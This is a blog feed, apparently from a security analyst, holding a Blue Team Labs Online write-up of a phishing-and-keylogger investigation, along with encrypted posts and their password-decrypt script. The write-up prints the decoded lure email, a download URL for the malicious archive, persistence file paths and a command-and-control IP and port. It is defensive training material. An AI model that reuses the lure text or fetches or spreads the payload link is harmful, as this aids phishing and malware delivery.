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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-18T17:09:47-04:002026-05-17T14:03:45.431863-04:00Eric Turnertag:blog.ericturner.it,2022-03-18:/2022/03/18/btlo-investigation-ben/

<p>Link: <a href="https://blueteamlabs.online/home/investigation/96">https://blueteamlabs.online/home/investigation/96</a></p> <blockquote> <p>Ben was working very hard at FaanG industries to get a maximum percentage of the hike. He was talking about this with his HR as well. While he was preparing for a Salary Negotiation meeting, Ben received a phishing email and an attachment …</p></blockquote>

<p>Link: <a href="https://blueteamlabs.online/home/investigation/96">https://blueteamlabs.online/home/investigation/96</a></p> <blockquote> <p>Ben was working very hard at FaanG industries to get a maximum percentage of the hike. He was talking about this with his HR as well. While he was preparing for a Salary Negotiation meeting, Ben received a phishing email and an attachment explaining to him a New Salary Negotiation process at the company. This resulted in the theft of the super-secret Database credentials of Ben. Necessary remediation steps were taken to reduce the damage. CISO advised the security team to study Ben&rsquo;s case, analyze the Evidence and prepare an Awareness workshop with technical details of the attack. Evidence and the necessary analysis tools were placed on the Desktop. Note: If prompted for Admin Privileges choose BTLOPlayer account.</p> <p>Scenario</p> </blockquote> <p>Using Kernel EML Viewer, I navigated to \Desktop\CollectedEvidence to view the email that Ben received. We can see the subject of Salary Renegotiations (Q1), and the from/to emails of HR_Engineer@faang.com, Ben_Engineer@faang.com (Q2). The body of the email was base64 encoded; Using the provided Cyberchef webapp, it decodes as follows:</p> <pre><code>Dear Ben, The Department of Human Resources has amended the salary renegotiation process. In order to qualify for a pay raise, all interested employees, must schedule a one-on-one meeting with a member of the HR staff. The particular HR salary staff member assigned to work with you on salary negotiations will email you separately. Prior to scheduling a meeting with your HR liaison, please review the attached PDF document outlining the new salary renegotiation process. Failure to review the file will disqualify you from petitioning for a pay raise this quarter. Thank you, HR === [1]: Know the New Salary Negotiation Process.pdf </code></pre> <p>Based on the fact the email came from an internal email that appears legitimate, in the correct format, with language specifically targeted to Ben, knowing he was preparing for a salary negotiation meeting is an extraordinarily advanced phishing scheme. I honestly don't fully blame Ben for clicking and downloading the attachment due to these circumstances.</p> <p>But now once we actually open the PDF, it becomes immediately apparent something seems wrong. The presentation of the PDF is horrible, and does not appear to automatically run anything so he must have clicked the link manually. The download button directs you to this link (Q3, Q4): https://www.dropbox.com/s/3dqft1ays1ltgrg/NewSalaryNegotiation.uue?dl=1</p> <p>Unzipping this contains a SalaryNegotiationProcess.pdf.exe. It's a clever naming scheme and uses the icon of an actual PDF document while clicking it will run an executable.</p> <p>I started up Noriben with <code>.\Noriben.py</code> and it is ready for us to double-click the exe. I did some research online, because I had never used Noriben before, and it was recommended to let Noriben/Procmon run for about 4 minutes before killing it. Also because the Note on the desktop mentioned a keylogger was installed, I was typing in the notepad window in case the keylogger maybe drops files of what was logged.</p> <p>Using CTRL+C, I stopped the log.</p> <p>At the top of our File Activity portion of the log is the following:</p> <pre><code class="language-bash">[CreateFile] SalaryNegotiationProcess.pdf.exe:1316 &gt; %LocalAppData%\Microsoft\Windows\History\salaryhike\explorer.exe [CreateFile] explorer.exe:4940 &gt; %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Corporation.exe </code></pre> <p><code>T</code>hese exe files are the copies for persistence (Q6). I also noticed <code>%LocalAppData%\Microsoft\Windows\History\salaryhike\explorer.exe.tmp</code>. being used right after the <code>Microsoft Corporation.exe</code> several times as seen here:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/03/image-10.webp"/></p> <p>explorer.exe.tmp file</p> <p>This indicates it is probably the keylogger file (Q7). I tried accessing the file but it isn't shown on disk.</p> <p>By pulling up <code>netstat</code> we can see 107.189.29.181:5005 in the SYN_SENT appear (Q8). It doesn't always appear but I ran a few times and got it to show up. It must be exfiltrating the data from the tmp quick enough that you can't see it on the machine.</p> <p>The last question we have available is to submit the mutex. The issue is our machine does not have internet connection, so we cannot download tools like ProcessExplorer or use SysInternals or <code>strings</code>. I decided to load the file into Cyberchef and just read through the output. I tried strings on here, but still saw nothing.</p> <p>By manually reading through, you can see what looks like text followed by a period after every character such as <code>W.a.i.t.F.o.r.E.x.i.t</code>, which is why <code>strings</code> failed to (Q5) pick up. Because a mutex is basically a lock on a file, shortly after the wait for exit text is the mutex in curly braces:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/03/image-11.webp"/></p> <h1 id="conclusion">Conclusion</h1> <p>This box was actually fairly challenging for me, particularly Q5 and Q8 as they did not rely solely on Noriben and required some out of the box thinking in order to find them. But I definitely felt I learned a lot and added some new tools under my blue team toolbelt!</p>2022-03-17T13:55:13-04:002026-05-17T14:03:45.437863-04:00Eric Turnertag:blog.ericturner.it,2022-03-17:/2022/03/17/btlo-investigation-rdp/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">GXvnPzFQhZZuYZ/nDBs/SQ==;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